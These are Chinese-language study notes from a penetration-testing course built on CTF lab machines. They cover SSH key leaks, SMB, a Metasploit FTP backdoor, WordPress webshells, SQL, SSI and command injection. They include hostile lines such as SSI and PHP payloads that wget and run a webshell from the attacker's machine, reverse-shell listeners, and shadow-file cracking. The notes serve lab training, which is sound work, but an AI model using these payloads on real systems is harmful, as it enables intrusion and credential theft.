第一章 课程介绍与环境搭建
1-2 环境搭建
攻击机统一为kali,直接用ova文件创建靶场机器后,靶场机器要求进行登陆。
可我们并没有用户名和密码。问题是:如果我们不进行登陆,如何获得靶场机器的ip地址?从而达到联通靶场机器的目的.
这里我们使用netdiscover命令 netdiscover -r ip/子网掩码
24为24位二进制数1,就是255.255.255.0。
然后扫描出192.168.157这个网段的存活主机。
第二章 SSH服务
2-1 SSH私匙泄露
首先对靶场机器进行探测,我们使用nmap命令 nmap -sV ip
这里我们可以看到靶场机器开放的端口和对应的服务,此靶场机器上开启了ssh服务和两个http服务。
接下来我们分析特殊端口,尤其对开放http服务的大端口(本靶机上31337端口开放了http服务)
怎么探测http端口信息?我们可以使用浏览器来浏览http服务的信息
这里并没有信息,那这里有没有隐藏文件?我们使用dirb命令来探测隐藏文件
成功探测到五个隐藏文件(隐藏起来的肯定有问题)
这里有两个敏感目录robots.txt和.ssh,我们打开robots.txt看看它把什么藏住了。
这里有三个目录,taxes是英文单词?打开获得第一个flag
下面我们看敏感目录.ssh(ssh服务的作用是让远程计算机登录到本地ssh服务上,进行远程操作)
这目录中有私钥和公钥,运行服务时私钥公钥进行对比,对比成功则运行服务。
我们发现访问id_rsa(私钥)和authorized_keys(认证关键字)文件可以进行下载(公钥不用下载),这里就存在私钥泄露。
对私钥进行赋读写权限,ls -alh查看权限,chmod 600 文件名
有了私钥,我们就可以尝试使用ssh命令对靶机进行远程登录(ssh -i 私匙 用户名/id 用户名在认证关键字中泄露)
我们登录时提示我们要输入密码,
我们有了私钥文件就可以从私钥文件中把密码解出来,使用ssh2john和zcat进行解密。
上一条命令对私钥信息进行转换,转换成john可以识别的信息;
后一条命令用zcat命令,使用字典。。。管道。。规则。。什么什么的进行解密,得到一个密码 starwars
成功远程登录!pwd查看下当前目录,ls查看下当前目录文件。
发现并没有我们想要的,这时候我们应该想到去访问root目录,在ctf比赛中根目录root都是有重要信息的。
访问后的确发现了flag.txt,但是我们却没有权限访问,这时候就是如何提权的问题了。
这条命令是从根目录开始查找,看有哪些命令是具有执行权限的。其中2>/dev/null用于防止错误信息。
发现有一条命令是read_message,而我们目录下刚好有个c代码叫做read_message.c,查看一下,发现第二个flag和一段c代码。
c的大概意思是输入一段文字和已知字符串simon进行匹配,匹配成功输出一段文字和message目录下的一个文件。
从c代码中我们可以看出,我们输入的为一个长度20的数组,如果溢出会不会执行?(应该和c中的execve函数有关系)
我们在前面输入simon匹配c,再加入十五个字符,之后再接/bin/sh提升下权限?
成功提权,然后我们用提权后的用户去访问之前的flag.txt,拿到第三个flag。
2-2、2-3 SSH服务渗透测试
因为两个虚拟机分别在viralbox和VMvare上,在家配置实验环境的时候,只要把两个虚拟机都桥接出来就可以了ping通了。
可是来到学校教育网只能连接一个机器,就不能用桥接模式了。博主想到能不能把两个机器连在同一个NAT网络上,同一个虚拟机软件自动连接在同一个NAT网络上。博主百般尝试,不同虚拟机软件即使设置的内网ip已经是同一网段了,仍然相互不可发现不可ping通.....博主能想出的解决方法只能是1.把kali也同样装在viralbox上。2.找一个不是校园网的地方进行操作。
面对SSH服务22端口开放的靶场:
首先考虑:1、暴力破解用户名和密码 2、私匙泄露(私匙有没有对应的密码、是否可以找到私匙的用户名)
面对HTTP服务80端口开放的端口或者其他端口的靶场:
首先考虑:1、通过浏览器访问对应靶场http服务(http://ip:http端口号) 2、使用探测工具探测http目录文件(dir http://ip:http端口号、nikto -host ip)
特别注意:大于1024的特殊端口. 拿到ssh私钥(wget "")要是有解密密码要进行对应的解密。
远程登录服务器之后,我们要扩大战果:1.查看当前用户whoami 2.id查看当前用户权限 3.查看根目录,寻找flag文件(一般情况下,flag文件需要提权之后root用户才能查看)
提权前常用命令 cat/etc/passwd:查看所有用户的列表 cat/etc/group:查看用户组
fin/-user 用户名:查看属于某些用户的文件 /tmp :查看缓存文件目录
深入挖掘 通过/etc/ctontab文件,设定系统自动执行的任务,编辑需要root权限。不同的用户都可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。(执行的任务肯定对应靶场机器的某个文件)
若有定时计划文件,具体目录下却没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应权限;若有这个定时执行的文件,切换到对应目录,查看对应权限,查看当前用户是都具有读写权限。
原理是套接字什么什么的.....,然后发现返回的shell也不能提权?
最后进行暴力破解出第三个用户名的密码,登录 -u提权,
总结:在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况是进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
第三章 SMB服务
3-1.SMB信息泄露
SMB(Server Message Block)协议是一个通信协议,一般使用的端口为139,445,后来Linux移植了SMB,并称为samba。SMB协议,计算机可以访问网络资源,下载对应的资源文件。
通过扫描,我们可以看到靶机开放了smb服务
有SMB服务,我们可以 1、尝试使用空口令登录(提示输入密码直接空密码)
发现一个打印驱动、一个共享文件夹share$和一个空链接。
ls查看共享的文件夹。share$里发现许多敏感文件,用get下载下来到本地查看,其中deet.txt泄露了一个密码12345;wordpress目录下的config是个配置文件(小文件用cat看,大文件用gedit看)(一般配置文件都是泄露了用户名和密码),发现泄露了数据库的用户名和密码。
想起来之前发现靶机开启了mysql数据库服务,看看能不能远程登录。
并不能远程登录mysql,然后我们看到还有个ssh协议,这可是远程登录协议,尝试用这个用户名和密码登录。
还是失败。
接下来就是SMB漏洞的第二个尝试利用 2、用searchsploit samba版本号 看看是否存在远程溢出漏洞~~结果是不存在
靶机还开放了80端口http服务,用正常方法探测80端口泄露,发现/wordpress/wp-admin/这个后台管理登录页面(。。开发后台的人都知道这是后台管理登录页面?)用我们得到的用户名密码登录,成功登录。
接下来就是上传木马提权:1、制作webshell 2、启动监听获取返回的shell
启动监听用的是msfonsole集成模块,use exploit/multi/handler.....与上同
然后就要上传webshell了,上传webshell有固定的上传点:上传到theme的404界面,然后访问404.php获得反弹的shell
在后台管理界面appearence的editor可以找到404页面,把代码全部改成webshell里的,上传!
然后通过固定路径http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php访问webshell(固定路径怎么来?当前主机又要改成fifiteen,看404界面提示是什么就改成什么)
反弹回了shell,我们就可以对靶机进行操作了,获得了普通权限。
接下来还是同样的,优化终端(python -c "import pty;pty.spawn('/bin/bash')")
使用cat /etc/passwd/查看当前系统的其他用户名(注意home目录下)发现个togie用户,su togie去切换到togie目录,密码用之前发现的12345登录成功。
还是要去切换到root权限,用sudo -l查看su能执行哪些操作,然后用sudo su来提升权限.....(上下步骤有什么关系吗)
最后在root找到flag.txt,搞掂。
第四章 FTP服务
4-1 FTP服务后门利用(典型已知的服务漏洞利用)
FTP、File transfer protocol文件传输协议,同时它也是一个应用程序。下载和上传就是用这个协议。
同样开始用netdiscover发现靶机ip后,用nmap探测开启的端口或服务。
发现开启了ssh,http和ftp这三个服务。
我们发现了ftp的版本号,我们可以使用seachsploit来查看对应的版本该服务有没有可利用的漏洞。
发现了利用漏洞,并且列出了集成利用方式(Metasploit)和利用代码位置(15662.txt)(需要修改这个文件造成溢出,太烦)
接下来使用Metasploit进行溢出(用msfconsole打开)
1、输入search对应软件和版本号 2、use exploit 3、查看可以使用的payload (show payload)
4、set payload 5、设置参数 show options 、set rhost(靶机ip)、 set lhost (本机ip) 6、进行远程溢出(exploit) 7、执行命令 id,发现获得的直接是root权限
然后用python美化界面...如上节,查看root目录下的flag获得flag值。
第五章 靶场夺旗
5-1.靶场夺旗(一个实战)
先没看视频前自己先看了下,开放的是ssh服务,两个http服务(其中一个为9090大端口),ftp服务(searchsploit了一下,发现这个版本的ftp没有已知漏洞)。在/passwords/FLAG.txt目录下面有一个flag,另外的在robot.txt找到的/cgi-bin/tracertool.cgi有一个ping网址的功能,猜测是命令注入漏洞(怎么利用?)。
重要:nmap扫描主机开放全部端口:nmap -p- -T4 靶场IP地址(这个比直接nmap扫出的端口全!!!)
对于大端口的非http服务,可以使用nc来探测改端口的banner信息;nc ip 端口号
对于大端口的http服务,可以使用浏览器浏览界面查看源代码,寻找flag值;
本次探测通过nc13337和6000端口分别返回了一个flag和一个shell,这个shell直接就是root权限(但这个root权限只能查看当前文件夹?),然后在shell上面ls看到个FLAG.txt,直接查看又看到一个flag。
大端口的http服务直接在浏览器上访问那个端口,出来一个登录页面直接有一个flag,这个登录页面没有提交按钮,应该(自己弄的时候被火狐自带的防火墙挡住了,还以为是靶机的防火墙.....解决方案:点击页面右下 Advanced 再点击 Add Exception,按照步骤添加信任就OK了)
在80端口的目录password.html下,本以为只是出题者嘲讽一句,没想到查看源代码之后有一个密码为winter,先记下。
ftp服务:在浏览器中输入ftp://靶场ip 可以匿名登录ftp服务器根目录,查看敏感文件,注意看源代码
进入ftp服务发现又有一个flag.txt。
命令注入漏洞的利用:在正常的输入id之后加分号,再加所需要执行的任务,如(127.0.0.1;id;pwd)
cat这俩文件,发现是两个快乐小猫?(后来知道是cat命令被限制了,作者画一只小猫嘲讽)
我看刚开始得到了一个密码winter,这时候再找一个用户名就可以使用ssh进行登录了,账号我们到/etc/passwd查看。
这里我们不能用cat命令了,用相近的命令more来代替。
我们发现两个在home目录下的用户名,Summer和Morty
ssh登录靶场机器(直接ssh 用户名@靶场ip 如果有私钥就-i添加 ;如果端口不是22就用-p修改 ),发现被拒绝了!
这时候发现还有个22222端口不知道干什么的但又很明显是人为开的端口,就用-p把ssh服务改到22222端口去(卧槽!)
然后成功远程连接,并成功又发现一个FLAG.txt
第六章 HTTP服务
6-1 SQL注入GET参数
sql注入概念就不说了,课程主要是通过sql注入漏洞,获取对应的用户名和密码,登录系统后台,寻找上传点上传shell,执行shell并返还shell给攻击机,最终取得flag值。
这道题通过80端口找到一个登录界面,以及可以被sqlmap简单扫到的界面,登录之后看到文件上传漏洞,用msfvenom生成shell,用把后缀的.php改成.PHP就可以上传shell,然后msfconsole监听对应端口,执行并返回shell。
6-2 SQL注入POST参数-注入HTTP报文
首先进行普通的信息收集,查到一个网址。然后抓包,sqlmap发现post参数可注入,然后就是登录注shell反shell一条龙。
ps:获取shell也可以在 /usr/share/webshells/ 中获取;启动监听也可以用 nc -nlvp port 进行;
wordpress中404访问webshell地址:http://靶场IP:端口号/目录/wp-content/themes/主题名/404.php
提权 sudo -su、su -
6-3 SQL注入-X-Forwarded-For报头文
在漏扫工具扫出在X-Forwarded-For表头可以注入,那么久用sqlmap注入(加上 --headers="X-Forwarded-For:*"即可)
如果想同时dump两个字段可以用逗号分隔 -C “login,password”
6-4 SSI注入
SSI(server side inject),服务端注入,在动态页面还没出现之前,SSI广泛用于赋予静态页面动态效果,可通过SSI执行系统命令,并返回对应结果。在网站中发现 .stm .shtm .shtml,很有可能是SSI注入攻击。
ssi注入就是寻找一个输入点输入类似<!--#exec cmd="命令" --> 格式,看看能不能运行系统命令。
如 <!--#exec cmd="ls" --> <!--#exec cmd="cat /etc/passwd" -->
切换目录<!--#exec cmd="cd /root/dir/" -->
下载shell脚本并重命名 <!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php" -->
当然,要从攻击机下载shell,就要吧shell.txt移动(mv)到 /var/www/html/ 目录下,然后开启apache服务,service apache2 start , 查看apache状态 service apache2 status ,然后还要赋予shell.php权限 chomd 777 shell.php。(如果靶机有python服务,且下载下来的shell无法在网站访问,最好用下载python的shell,这样直接执行命令python shell.py就可以了,方便)(当然用php webshell.php也是可以的)
执行shell后命令:sysinfo 查看系统信息 ;shell 进去系统shell;python优化shell
6-5 路径遍历(拿到www-data用户权限)
路径遍历攻击(也称目录遍历、目录爬升、回溯、点-点杠 )旨在访问存储在web根文件夹之外的文件和目录。
ps:系统操作访问控制会限制对文件的访问权限。
用漏扫工具扫出了对应的漏洞和利用URL。
路径遍历的利用:上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell,获取反弹结果。(ctf常见弱口令 admin 12345)
ps:如果我们进入数据库管理页面,我们可以创立以.php结尾的数据库,然后把表的字段设为php代码(如<?php system("cd /tmp;wget http://ip:port/webshell.php;chmod 777 webshell.php;php webshell");?>)当访问这个库时代码自动执行。
创建服务器供靶机下载shell:python -m "SimpleHTTPServer" (在当前目录创建一个服务器,这时候就不一定是80端口了)
破解liunx用户名和密码 /etc/passwd /etc/shadow unshadow passwd shadow > cracked ; john cracked
6-6 暴力破解
暴力破解步骤:
用wpscan对站点进行用户名枚举(输入wpscan可以列出可使用的命令,然后使用wpscan --url url/目录 --enumerate u 命令对目标站点用户名枚举);
再kali上可以用命令行工具Metasploit的暴力破解模块对站点进行暴力破解
暴力破解出用户名密码在404界面上传shell即可返回shell
提权:
在msfconsole的监听界面的msf>状态是什么?可以直接把靶机的文件下载到本地?
流程就是下载俩文件,转格式,解析出密码,输入密码提升权限
6-7 路径遍历(提升root用户权限)
往往CTF比赛中flag位于root目录下,而我们需要root权限才能打开,所以我们要对shell进行提权。
ps:在home目录下找config文件可能能找到密码;通过反弹的shell登录后可能还要寻找密码,进行ssh登录到另一个用户再进行提权操作。
输入sudo -l提示有两个文件一个zip一个tar可以用来提权
6-8 命令执行
6-9 命令执行(使用集成工具测试)
6-10 PUT上传漏洞
6-11 命令注入1
6-12 命令注入2